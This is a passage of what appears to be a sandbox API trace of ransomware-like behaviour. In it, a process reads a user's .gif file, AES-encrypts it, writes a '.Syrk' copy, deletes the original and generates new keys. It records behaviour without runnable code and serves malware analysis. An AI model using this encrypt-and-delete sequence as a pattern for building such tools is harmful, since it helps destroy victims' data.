dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99920) returned 1 [0246.004] CryptContextAddRef (hProv=0x5c4d430, pdwReserved=0x0, dwFlags=0x0) returned 1 [0246.004] CryptSetKeyParam (hKey=0x5c99920, dwParam=0x4, pbData=0x23838b0*=0x1, dwFlags=0x0) returned 1 [0246.004] CryptSetKeyParam (hKey=0x5c99920, dwParam=0x1, pbData=0x238387c, dwFlags=0x0) returned 1 [0246.004] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.005] EtwEventActivityIdControl () returned 0x0 [0246.005] EtwEventActivityIdControl () returned 0x0 [0246.005] EtwEventActivityIdControl () returned 0x0 [0246.006] EtwEventActivityIdControl () returned 0x0 [0246.006] ReadFile (in: hFile=0x3c4, lpBuffer=0x23864f8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23864f8*, lpNumberOfBytesRead=0x5a2e7d8*=0x2edb, lpOverlapped=0x0) returned 1 [0246.007] CryptEncrypt (in: hKey=0x5c99920, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x239a510*, pdwDataLen=0x5a2e7cc*=0x2ed0, dwBufLen=0x2ed0 | out: pbData=0x239a510*, pdwDataLen=0x5a2e7cc*=0x2ed0) returned 1 [0246.008] WriteFile (in: hFile=0x454, lpBuffer=0x2382660*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2382660*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0246.009] WriteFile (in: hFile=0x454, lpBuffer=0x239b4fc*, nNumberOfBytesToWrite=0x1ee4, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x239b4fc*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1ee4, lpOverlapped=0x0) returned 1 [0246.009] ReadFile (in: hFile=0x3c4, lpBuffer=0x23864f8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x23864f8*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0246.010] CryptEncrypt (in: hKey=0x5c99920, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x239d3ec*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x239d3ec*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0246.010] CryptEncrypt (in: hKey=0x5c99920, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x239d408*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x239d408*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0246.010] WriteFile (in: hFile=0x454, lpBuffer=0x2382660*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x2382660*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0246.010] CloseHandle (hObject=0x454) returned 1 [0246.011] CloseHandle (hObject=0x3c4) returned 1 [0246.011] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.012] EtwEventActivityIdControl () returned 0x0 [0246.012] EtwEventActivityIdControl () returned 0x0 [0246.012] EtwEventActivityIdControl () returned 0x0 [0246.019] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\2r7o-shzef3qr6zs_c.gif")) returned 0x20 [0246.021] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0246.021] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif", lpFilePart=0x0) returned 0x32 [0246.021] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0246.021] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0246.022] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0246.022] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0246.022] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0246.022] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0246.022] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0246.022] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0246.022] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0246.022] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0246.022] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0246.022] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0246.022] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0246.023] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0246.023] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0246.023] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0246.023] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\2r7o-shzef3qr6zs_c.gif")) returned 0x20 [0246.023] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0246.023] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif", lpFilePart=0x0) returned 0x32 [0246.026] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0246.026] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif", lpFilePart=0x0) returned 0x32 [0246.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0246.026] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0246.026] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif", lpFilePart=0x0) returned 0x32 [0246.026] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\2r7o-shzef3qr6zs_c.gif\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0246.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0246.026] CoTaskMemAlloc (cb=0x404) returned 0x5c98368 [0246.026] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c98368, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0246.026] CoTaskMemFree (pv=0x5c98368) [0246.028] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\2r7o-shzef3qr6zs_c.gif")) returned 0x20 [0246.028] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0246.028] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif", lpFilePart=0x0) returned 0x32 [0246.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0246.029] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\2r7o-shzef3qr6zs_c.gif"), fInfoLevelId=0x0, lpFileInformation=0x23a8eec | out: lpFileInformation=0x23a8eec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d3b1760, ftCreationTime.dwHighDateTime=0x1d99972, ftLastAccessTime.dwLowDateTime=0x2576e880, ftLastAccessTime.dwHighDateTime=0x1d999f4, ftLastWriteTime.dwLowDateTime=0x2576e880, ftLastWriteTime.dwHighDateTime=0x1d999f4, nFileSizeHigh=0x0, nFileSizeLow=0x2edb)) returned 1 [0246.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0246.029] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\2r7o-shzef3qr6zs_c.gif")) returned 1 [0246.031] EtwEventActivityIdControl () returned 0x0 [0246.031] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.032] EtwEventActivityIdControl () returned 0x0 [0246.032] EtwEventActivityIdControl () returned 0x0 [0246.032] EtwEventActivityIdControl () returned 0x0 [0246.038] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\2r7o-shzef3qr6zs_c.gif.syrk")) returned 0x20 [0246.039] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\2r7o-shzef3qr6zs_c.gif.syrk")) returned 0x20 [0246.039] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0246.039] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif.Syrk", nBufferLength=0x38, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif.Syrk", lpFilePart=0x0) returned 0x37 [0246.039] EtwEventActivityIdControl () returned 0x0 [0246.040] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.040] EtwEventActivityIdControl () returned 0x0 [0246.040] EtwEventActivityIdControl () returned 0x0 [0246.040] EtwEventActivityIdControl () returned 0x0 [0246.046] EtwEventActivityIdControl () returned 0x0 [0246.046] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.046] EtwEventActivityIdControl () returned 0x0 [0246.046] EtwEventActivityIdControl () returned 0x0 [0246.046] EtwEventActivityIdControl () returned 0x0 [0246.050] EtwEventActivityIdControl () returned 0x0 [0246.051] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.051] EtwEventActivityIdControl () returned 0x0 [0246.051] EtwEventActivityIdControl () returned 0x0 [0246.051] EtwEventActivityIdControl () returned 0x0 [0246.055] EtwEventActivityIdControl () returned 0x0 [0246.055] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.055] EtwEventActivityIdControl () returned 0x0 [0246.055] EtwEventActivityIdControl () returned 0x0 [0246.055] EtwEventActivityIdControl () returned 0x0 [0246.059] EtwEventActivityIdControl () returned 0x0 [0246.059] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.059] EtwEventActivityIdControl () returned 0x0 [0246.060] EtwEventActivityIdControl () returned 0x0 [0246.060] EtwEventActivityIdControl () returned 0x0 [0246.063] EtwEventActivityIdControl () returned 0x0 [0246.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0246.068] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\2R7o-shzeF3qr6Zs_C.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\2r7o-shzef3qr6zs_c.gif.syrk"), fInfoLevelId=0x0, lpFileInformation=0x23b2e88 | out: lpFileInformation=0x23b2e88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe551db0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xe551db0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xe577f10, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x2ef4)) returned 1 [0246.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0246.069] GetConsoleOutputCP () returned 0x1b5 [0246.069] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0246.069] GetConsoleOutputCP () returned 0x1b5 [0246.069] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0246.069] GetConsoleOutputCP () returned 0x1b5 [0246.070] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.070] GetConsoleOutputCP () returned 0x1b5 [0246.070] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.070] GetConsoleOutputCP () returned 0x1b5 [0246.070] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0246.070] GetConsoleOutputCP () returned 0x1b5 [0246.070] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0246.070] GetConsoleOutputCP () returned 0x1b5 [0246.071] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.071] GetConsoleOutputCP () returned 0x1b5 [0246.071] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.071] GetConsoleOutputCP () returned 0x1b5 [0246.071] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0246.071] GetConsoleOutputCP () returned 0x1b5 [0246.071] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0246.072] GetConsoleOutputCP () returned 0x1b5 [0246.072] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.072] GetConsoleOutputCP () returned 0x1b5 [0246.072] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.072] GetConsoleOutputCP () returned 0x1b5 [0246.072] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0246.072] GetConsoleOutputCP () returned 0x1b5 [0246.072] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0246.072] GetConsoleOutputCP () returned 0x1b5 [0246.073] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.073] GetConsoleOutputCP () returned 0x1b5 [0246.073] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0246.073] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0246.073] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0246.074] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23cd0ac*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x23cd0ac*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0246.074] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0246.075] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0246.075] EtwEventActivityIdControl () returned 0x0 [0246.075] EtwEventActivityIdControl () returned 0x0 [0246.076] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.076] EtwEventActivityIdControl () returned 0x0 [0246.076] EtwEventActivityIdControl () returned 0x0 [0246.076] EtwEventActivityIdControl () returned 0x0 [0246.078] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.078] EtwEventActivityIdControl () returned 0x0 [0246.078] EtwEventActivityIdControl () returned 0x0 [0246.078] EtwEventActivityIdControl () returned 0x0 [0246.081] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d298) returned 1 [0246.082] CryptGenKey (in: hProv=0x5c4d298, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c997a0) returned 1 [0246.082] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0246.082] CryptExportKey (in: hKey=0x5c997a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0246.082] CryptExportKey (in: hKey=0x5c997a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23d4a78, pdwDataLen=0x5a2e8c4 | out: pbData=0x23d4a78*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0246.083] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.083] EtwEventActivityIdControl () returned 0x0 [0246.083] EtwEventActivityIdControl () returned 0x0 [0246.083] EtwEventActivityIdControl () returned 0x0 [0246.084] SysStringLen (param_1="") returned 0x8 [0246.084] SysStringLen (param_1="O") returned 0x8 [0246.084] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.084] SysStringLen (param_1="땖읛춛ⰲ齩乴凁") returned 0x8 [0246.084] SysStringLen (param_1="땖읛춛ⰲ齩乴凁") returned 0x8 [0246.084] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.084] SysStringLen (param_1="OQ") returned 0x8 [0246.084] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.084] SysStringLen (param_1="⫍㛇䇸휗誠摳숆밶") returned 0x8 [0246.084] SysStringLen (param_1="⫍㛇䇸휗誠摳숆밶") returned 0x8 [0246.085] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.085] SysStringLen (param_1="OQy") returned 0x8 [0246.085] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.085] SysStringLen (param_1="䥯ೃ䖗\x16⓽彝鯣녜") returned 0x8 [0246.085] SysStringLen (param_1="䥯ೃ䖗\x16⓽彝鯣녜") returned 0x8 [0246.085] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.085] SysStringLen (param_1="OQyK") returned 0x8 [0246.085] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.085] SysStringLen (param_1="鴠젪棄ｍꋁ᧖જ") returned 0x8 [0246.085] SysStringLen (param_1="鴠젪棄ｍꋁ᧖જ") returned 0x8 [0246.085] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.085] SysStringLen (param_1="OQyKs") returned 0x8 [0246.085] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.086] SysStringLen (param_1="嵖੊儛譙暆䳾魭") returned 0x8 [0246.086] SysStringLen (param_1="嵖੊儛譙暆䳾魭") returned 0x8 [0246.086] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.086] SysStringLen (param_1="OQyKsv") returned 0x8 [0246.086] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.086] SysStringLen (param_1="︴ם쟵貚㟔䳼辑﷾") returned 0x8 [0246.086] SysStringLen (param_1="︴ם쟵貚㟔䳼辑﷾") returned 0x8 [0246.086] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.086] SysStringLen (param_1="OQyKsv4") returned 0x8 [0246.086] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.086] SysStringLen (param_1="㐚༕ꆘ額㢜ꇄࠃ͘") returned 0x8 [0246.087] SysStringLen (param_1="㐚༕ꆘ額㢜ꇄࠃ͘") returned 0x8 [0246.087] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.087] SysStringLen (param_1="OQyKsv4P") returned 0x8 [0246.087] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.087] SysStringLen (param_1="香㭊螽᠋渜旆ڇ") returned 0x8 [0246.087] SysStringLen (param_1="香㭊螽᠋渜旆ڇ") returned 0x8 [0246.087] SysStringLen (param_1="香㭊螽᠋渜旆ڇ") returned 0x8 [0246.088] SysStringLen (param_1="香㭊螽᠋渜旆ڇ") returned 0x10 [0246.088] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.088] SysStringLen (param_1="OQyKsv4Pdϟ蛻㵳鏤\뗘밖⋋) returned 0x10 [0246.088] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.088] SysStringLen (param_1="香㭊螽᠋渜旆ڇ﵀㜠㫨㹵칓Ꭓᘠ") returned 0x10 [0246.088] SysStringLen (param_1="香㭊螽᠋渜旆ڇ﵀㜠㫨㹵칓Ꭓᘠ") returned 0x10 [0246.088] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.088] SysStringLen (param_1="OQyKsv4Pd1蛻㵳鏤\뗘밖⋋) returned 0x10 [0246.089] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.089] SysStringLen (param_1="香㭊螽᠋渜旆ڇ踴⧴珇㾟ꔮ쩷") returned 0x10 [0246.089] SysStringLen (param_1="香㭊螽᠋渜旆ڇ踴⧴珇㾟ꔮ쩷") returned 0x10 [0246.089] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.089] SysStringLen (param_1="OQyKsv4Pd1X㵳鏤\뗘밖⋋) returned 0x10 [0246.089] SystemFunction040 (in: 